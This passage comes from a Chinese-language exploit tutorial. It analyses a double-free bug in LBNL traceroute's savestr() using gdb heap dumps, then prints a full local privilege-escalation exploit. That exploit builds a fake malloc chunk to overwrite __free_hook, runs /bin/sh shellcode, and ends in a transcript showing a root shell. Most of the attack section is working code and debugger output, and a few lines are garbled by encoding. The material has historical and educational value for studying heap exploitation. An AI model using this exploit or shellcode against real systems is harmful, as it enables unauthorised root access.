配一块较大的内存空间, 并记录下调用完毕后剩余空间的大小。如果用户下次调用
savestr()时，所需内存比剩余空间还小，就不再调用malloc()，而是直接从已分配的空
间中返回一个地址，这样可以减少调用malloc()的次数。然而，这给用户确定何时需要释
放那块分配的内存带来了麻烦，traceroute中没有仔细考虑这一点，而是将savestr()等
同与strdup()来使用，每次调用savestr()完毕后总会调用free()函数释放内存。因此，
当第二次调用savestr()后，free()所释放的内存，实际上是一块未被分配的内存（因为
这块内存已经被第一次free()所释放了）！

下面舛尉褪莝avestr()的代码：
<...>
/* A replacement for strdup() that cuts down on malloc() overhead */
char *
savestr(register const char *str)
{
        register u_int size;
        register char *p;
        static char *strptr = NULL;
        static u_int strsize = 0;

        size = strlen(str) + 1;
        if (size > strsize) {
                strsize = 1024;
                if (strsize < size)
                        strsize = size;
               /* 只有size>strsize的情况下才调用malloc*/
                strptr = (char *)malloc(strsize);
                if (strptr == NULL) {
                        fprintf(stderr, "savestr: malloc/n");
                        exit(1);
                }
        }
        (void)strcpy(strptr, str);
        p = strptr;
        strptr += size;
        strsize -= size;
        return (p);
}

<...>

我们看一下两次调用savestr()时的情形：

<1>. p = savestr(S)

   假设字符串S长度为l(l<1024),则第一次调用savestr()，它会分配1024
   字节长的缓冲区来储存S:

     |<----------------------- 1024 bytes -------------------->|
     +----------------------------+----------------------------+
     | S[0] S[1] ...   S[l-1] /0 |          junk              |
     +----------------------------+----------------------------+
     ^                            ^
     |__ p                        |___ strptr


     这时候剩余空间strsize为: (1024 - l - 1)
                   strptr指向 junk的起始

<2>. free(p)

   第一次free()会释放p指向的这块缓冲区(1024字节),它会放一些数据在缓
   冲区的开头

     |<----------------------- 1024 bytes -------------------->|
     +-------+--------------------+----------------------------+
     | junk1 | S[k] ... S[l-1] /0 |          junk              |
     +-------+--------------------+----------------------------+
                                  ^
                                  |___ strptr
     这时候p所指向的1024字节大小的缓冲区已经被释放了。

<3>. p = savestr(T)

   第二次调用savestr()时，如果字符串T的长度小于strsize(1024 -l -1),
   那么savestr()就不会再次调用malloc()分配新内存，而是直接调用了：
   ....
        (void)strcpy(strptr, str);
        p = strptr;
        strptr += size;
        strsize -= size;
        return (p);
   ....
   将字符串T拷贝到junk的起始处，而实际上，这块内存已经被释放了！
   拷贝的结果如下：

     |<----------------------- 1024 bytes -------------------->|
     +-------+--------------------+--------------------+-------+
     | junk1 | S[k] ... S[l-1] /0 | T[0] ... T[n-1] /0 | junk2|
     +-------+--------------------+--------------------+-------+
                                  ^                    ^
                                  |__ p                |___ strptr

   这时，strptr指向了junk2处，strsize = 1024 -l -1 -n -1
   p指向原来的chunk起始处。

<4>. free(p)

   第二次调用free()时，所指向的实际上是一个未分配的缓冲区，这就导致
   一个严重错误。我们看到既然S和T都是我们可以控制的，那么我们就可以
   利用前面所说的两种方法中的任意一种来进行攻击！

下面就是调用'-g'参数时函数执行的一个简单流程。

main()
....
case 'g':
...
getaddr(gwlist + lsrr, optarg);

getaddr(register u_int32_t *ap, register char *hostname)
{
register struct hostinfo *hi;

(1) hi = gethostinfo(hostname);
*ap = hi->addrs[0];
(2) freehostinfo(hi);
}

struct hostinfo *
gethostinfo(register char *hostname)
{

...
(3) hi = calloc(1, sizeof(*hi));
...
addr = inet_addr(hostname);
if ((int32_t)addr != -1) {
(4) hi->name = savestr(hostname);
hi->n = 1;
(5) hi->addrs = calloc(1, sizeof(hi->addrs[0]));
...
(6) hi->addrs[0] = addr;
return (hi);
}

我们看到，每次getaddr中都会释放hostinfo结构中的每个成员，包括hi->name.（1）
而再第二次调用gethostinfo()时，又会经历两次calloc操作(3,5),以及一次赋值
操作(6)。因此看起来并不象我们原来想象的那么简单，关键在于我们能否控制第
二次free的那块内存的内部结构成员:chunk->size或者是chunk->prev_size.
让我们来跟踪一下：

[root@redhat-6 traceroute-1.4a5]# gdb ./traceroute -q
(gdb) b gethostinfo
Breakpoint 1 at 0x804aae8: file ./traceroute.c, line 1220.
(gdb) r -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1

Starting program: /usr/src/redhat/BUILD/traceroute-1.4a5/./traceroute -g
   111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1

Breakpoint 1, gethostinfo (hostname=0xbffffdf3 "111.111.111.111")
    at ./traceroute.c:1220
1220            hi = calloc(1, sizeof(*hi));
(gdb) n
1221            if (hi == NULL) {
(gdb) n
1225            addr = inet_addr(hostname);
(gdb) n
1226            if ((int32_t)addr != -1) {
(gdb) p/x addr <-- 这是hostname转换后的地址(111.111.111.111)
$2 = 0x6f6f6f6f
(gdb) n   <-- 下一步要为hostname分配1024字节内存
1227                    hi->name = savestr(hostname);
(gdb) n
1228                    hi->n = 1;
(gdb) p/x hi->name <-- 这是第一次分配返回的地址
$3 = 0x804d518
(gdb) x/8x hi->name -8
                [prev_size]       [size]        [data...]
0x804d510:      0x00000000      0x00000409      0x2e313131      0x2e313131
0x804d520:      0x2e313131      0x00313131      0x00000000      0x00000000
(gdb) n   <-- 又动态分配了一块内存
1229                    hi->addrs = calloc(1, sizeof(hi->addrs[0]));
(gdb)
1230                    if (hi->addrs == NULL) {
(gdb) p/x hi->addrs <-- 这块内存是分配在hi->name + 0x400＋8这个地址
$4 = 0x804d920
(gdb) n
1235                    hi->addrs[0] = addr;
(gdb) n
1236                    return (hi);
(gdb) x/x hi->addrs
0x804d920:      0x6f6f6f6f   <-- 注意，将addr存在这个地址了。
(gdb) c
Continuing.

Breakpoint 1, gethostinfo (hostname=0xbffffe06 "0x66.0x77.0x88.0x99")
    at ./traceroute.c:1220
1220            hi = calloc(1, sizeof(*hi));
[ 这时，前面分配的内存已经全被释放了 ]

(gdb) p/x 0x804d510   <-- 我们看看原来的hi->name内存的情况
$5 = 0x804d510
(gdb) x/10x 0x804d510
                [prev_size]       [size]        [data...]
0x804d510:      0x0804d920      0x00000af1      0x40108f80      0x40108f80
0x804d520:      0x2e313131      0x00313131      0x00000000      0x00000000
0x804d530:      0x00000000      0x00000000
[ 我们看到我们原来的数据(16个字节)已经改变了 ]
(gdb) n
1221            if (hi == NULL) {
(gdb) x/10x 0x804d510 <--- 执行完第一个calloc(),后，prev_size被清零了。
                [prev_size]       [size]        [data...]
0x804d510:      0x00000000      0x00000af1      0x40108f80      0x40108f80
0x804d520:      0x2e313131      0x00313131      0x00000000      0x00000000
0x804d530:      0x00000000      0x00000000
(gdb) n
1225            addr = inet_addr(hostname);
(gdb) n
1226            if ((int32_t)addr != -1) {
(gdb) p/x addr <-- 这里意味着我们可以构造一个任意的值，并赋给addr
$6 = 0x99887766
(gdb) n
1227                    hi->name = savestr(hostname); <--再次调用savestr()
(gdb) n
1228                    hi->n = 1;
(gdb) p/x hi->name
$7 = 0x804d528       <-- 注意！hi->name的起始位置 =
                        0x804d518 + 第一个-g参数的长度(16)

(gdb) x/12x 0x804d510
0x804d510:      0x00000000      0x00000af1      0x40108f80      0x40108f80
0x804d520:      0x2e313131      0x00313131   * 0x36367830      0x3778302e
0x804d530:      0x78302e37      0x302e3838      0x00393978      0x00000000
[ 第二个参数的内容从*号处开始 ]

(gdb) n <-- 下面这个calloc将再分配一段内存
1229                    hi->addrs = calloc(1, sizeof(hi->addrs[0]));
(gdb) n
1230                    if (hi->addrs == NULL) {
(gdb) p/x hi->addrs < --- 这个地址就是我们第一次savestr()时得到的地址！！！
$8 = 0x804d518
(gdb) p/x sizeof(hi->addrs[0])
$9 = 0x4
(gdb) x/12x 0x804d510     <---
                [prev_size]       [size]        [data...]
0x804d510:      0x0804d518      0x00000011      0x00000000      0x00000000
0x804d520:      0x00000000      0x00000ae1   * 0x36367830      0x3778302e
0x804d530:      0x78302e37      0x302e3838      0x00393978      0x00000000
[ 从上面看到，新分配的内存也是从0x804d510开始的，而且将用户数据区的前8个
字节清零。最顶上的块也移动了16个字节，将0x804d520,0x804d524两个地址的
数据覆盖了。
]
(gdb) n
1235                    hi->addrs[0] = addr;
(gdb) p/x hi->addrs[0]
$10 = 0x0
(gdb) n
1236                    return (hi);
(gdb) p/x hi->addrs[0]
$11 = 0x99887766
(gdb) p/x &hi->addrs[0]
$12 = 0x804d518
(gdb) x/12x 0x804d510
                [prev_size]       [size]        [data...]
0x804d510:      0x0804d518      0x00000011      0x99887766      0x00000000
0x804d520:      0x00000000      0x00000ae1    * 0x36367830      0x3778302e
0x804d530:      0x78302e37      0x302e3838      0x00393978      0x00000000

[ 注意，addr = 0x99887766被存到了0x804d518处，这个值是我们能控制的 ]

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x40073f73 in free () at malloc.c:2952
2952    malloc.c: No such file or directory.

[ 在试图free *号开始地址的内存时出错 ]

为了更容易理解一下，我们可以看一下两次调用savestr()时的图:

第一次调用savestr()后，返回地址p0：

     |<----------------------- 1024 bytes -------------------->|
     +----------------------------+----------------------------+
     | "111.111.111.111" /0       |          junk              |
     +----------------------------+----------------------------+
     ^
     |__ p0

在第二次savestr()后，p0移动到一个新的位置p1＝p0 + strlen(hostname) +1。

由于执行了一个calloc()操作，导致从p2开始的12个字节是我们不能控制的.
而幸运的是，由于有一个"hi->addrs[0] = addr"操作，使得p2前面的四个
字节是我们能控制的

     |<----------------------- 1024 bytes -------------------->|
     +--------+----------------------+---------------------+---+
     |99887766|0000 0000 0x0ae1|.../0|"0x66.0x77.0x88.0x99"|...|
     +--------+----------------------+---------------------+---+
     | 4字节 |<--- 12字节 --->|     ^
     p0       p2                     |__ p1

接下来要free(p1)了。根据前面介绍的方法，如果要想利用free(p1),
我们必须能控制p1-4(size)或者p1-8(prev_size)的内容，既然我们能控制
p0开始的4个字节，如果我们能设法使得p1与p2重合，那么我们不就可以
控制p1-4了吗？这样就要求第一个"-g"参数长度为3字节，例如"1.1"
再加上最后的'/0',长度就刚好是4字节了。

     |<----------------------- 1024 bytes -------------------->|
     +--------+------------------------------------------------+
     | "1.1"/0|                                                |
     +--------+------------------------------------------------+
     | 4字节 |
     p0

     |<----------------------- 1024 bytes -------------------->|
     +--------+------------------------------------------------+
     | "1.1"/0|"0x66.0x77.0x88.0x99"/0                         |
     +--------+------------------------------------------------+
     | 4字节 |
     p0       p1

     |<----------------------- 1024 bytes -------------------->|
     +--------+----------------------------+-------------------+
     |99887766|0000 0000 0x0ae1|"88.0x99"/0|...                |
     +--------+----------------------------+-------------------+
     | 4字节 |<--- 12字节 --->|<--8字节-->|
     p0       p2(p1)

那么下一步的关键就是如何设置chunk->size，以及将我们的伪造的块放在
什么地方了。
inet_addr()有一个"特性"，如果你输入"1.2.3.4 AAAAAA"（注意空格后面
还添加了一些'A'）,它并不会报错，返回值为0x04030201.如果输入
"0xaa.0xbb.0xcc.0xdd AAA"这样的字符串，返回值就是0xddccbbaa.我们
可以将伪造的块放在空格后面，将chunk->size放在0xaa.0xbb.0xcc.0xdd
中。例如，第二个"-g"参数使用"0x1d.0x00.0x00.0x00 fake_chunk"
这样得到的chunk->size=0x0000001d。
0x1d这个值是怎么算出来的呢？

chunk = p1 -8
fake_chunk = p1 + strlen("0x1d.0x00.0x00.0x00 ")
           = p1 + 20
           = chunk + 8 + 20
           = chunk + 28
           = chunk + 0x1c
(0x1c | PREV_INUSE) ==> 0x1d

有人也许会说，为什么不将第一个参数长度设得比较大，例如，超过16
字节，这样16字节后面的部分也会在我们的控制之下，利用这些部分来
构造一个prev_size和size不是更方便吗？我开始也是这么考虑的，但是
实际测试时发现，p2所代表块的已经是top块，就是最顶上的块。free(p1)
时，要求p1-8地址低于p2，因此这种方法行不通。

OK,到这里可以说是大功告成了，下面就可以开始写测试程序了。我们利用的
是unlink下一个块的方法。你会发现，一旦原理搞清楚了，这个测试程序是相
当简洁的。:) 唯一需要知道的，就是__free_hook的地址.如果你有对
/usr/sbin/traceroute的读权限，可以将它拷贝到一个临时目录下，然后使用
gdb，将断点设在exit,然后获取__free_hook.如果没有读权限，可以增加一个
偏移量，自动测试可能的__free_hook,一般按照0x10来递增或递减即可。

/* Exploit for LBNL traceroute with unlinking nextchunk
*                                   - traceroute-ex.c
*
* THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
* ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
*
*           by warning3@nsfocus.com (http://www.nsfocus.com)
*                                     2001/03/08
*/
#include <stdio.h>
#include <stdlib.h>

#define __FREE_HOOK     0x401091b8      /* __free_hook地址 */
#define VULPROG "/usr/sbin/traceroute"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char shellcode[] =
"/xeb/x0a/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"   /*这一段是为了跳过垃圾数据 */
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";

main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[128],fake_chunk[16];
char *env[2];
unsigned int *ptr;

/* 计算shellcode在堆栈中的地址 */
codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

env[0] = shellcode;
env[1] = NULL;

/* 伪造一个块结构。 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0x11223344 & ~PREV_INUSE;
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK - 12;
*ptr++ = codeaddr;

bzero (buf, 128);
/* 设置chunk->size = （（20+8 = 28 = 0x1c） | PREV_INUSE）＝ 0x1d */
memcpy(buf, "0x1d.0x00.0x00.0x00 ", 20);
memcpy(buf+20, fake_chunk, 16);

execle (VULPROG, VULPROG, "-g", "1.1", "-g" , buf, "127.0.0.1", NULL, env);

}/* End of main */

测试结果：

[warning3@redhat-6 malloc]$ gcc -o ex3 ex3.c
[warning3@redhat-6 malloc]$ ./ex3
bash# id
uid=507(warning3) gid=507(warning3) euid=0(root) groups=507(warning3),100(users)
bash#

★ 结束语：

malloc/free的问题使得在某些平台/系统下，Heap区溢出的危险性大大增加了，
值得引起我们的重视。另外，除了free()可能出问题外，realloc()也可能出问题。
有兴趣的读者可以自行参看一下realloc()的代码。

最初想写这篇文档是在去年10月份，后来由于种种原因，一直拖了下来，
为此被scz骂了很多次。现在总算完成了。:)

★ 感谢：

感谢Solar Designer，Chris Evans，dvorak，Michel Kaempf无私地奉献了他
们的研究成果。（参见参考文献.）

★ 参考文献：

[1] Solar Designer, <<JPEG COM Marker Processing Vulnerability in Netscape Browsers>>
    http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt

[2] Chris Evans, <<Very interesting traceroute flaw>>
    http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html

[3] dvorak ， <<Traceroute exploit + story>>
    http://security-archive.merton.ox.ac.uk/bugtraq-200010/0084.html

[4] Michel Kaempf, <<[MSY] Local root exploit in LBNL traceroute>>
    http://security-archive.merton.ox.ac.uk/bugtraq-200011/0081.html

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